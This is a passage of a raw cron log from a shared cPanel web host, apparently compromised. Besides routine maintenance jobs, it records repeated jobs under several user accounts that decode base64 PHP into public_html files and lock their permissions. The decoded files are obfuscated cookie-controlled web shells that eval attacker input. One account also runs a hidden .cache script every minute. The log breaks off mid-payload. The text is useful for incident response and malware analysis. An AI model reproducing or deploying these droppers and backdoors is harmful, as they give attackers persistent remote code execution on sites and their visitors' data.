Mar  2 09:55:01 medusa CROND[23941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:55:01 medusa CROND[23952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:55:01 medusa CROND[23960]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:55:01 medusa CROND[23961]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:55:01 medusa CROND[23963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:55:01 medusa CROND[23965]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:55:01 medusa CROND[23966]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:55:01 medusa CROND[23968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:55:01 medusa CROND[23962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:55:01 medusa CROND[23967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:55:01 medusa CROND[23976]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:55:01 medusa CROND[23977]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:55:01 medusa CROND[23981]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:55:01 medusa CROND[23992]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:55:01 medusa CROND[23973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:55:01 medusa CROND[23991]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:55:01 medusa CROND[23995]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:55:01 medusa CROND[24013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:56:02 medusa CROND[10413]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:56:02 medusa CROND[10542]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:56:02 medusa CROND[10583]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:56:02 medusa CROND[10584]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:56:02 medusa CROND[10585]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:56:02 medusa CROND[10586]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:56:02 medusa CROND[10587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:56:02 medusa CROND[10592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:56:02 medusa CROND[10590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:56:02 medusa CROND[10594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:56:02 medusa CROND[10596]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:56:02 medusa CROND[10599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:56:02 medusa CROND[10600]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:56:02 medusa CROND[10603]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:57:02 medusa CROND[29293]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:57:02 medusa CROND[29294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:57:02 medusa CROND[29295]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgIC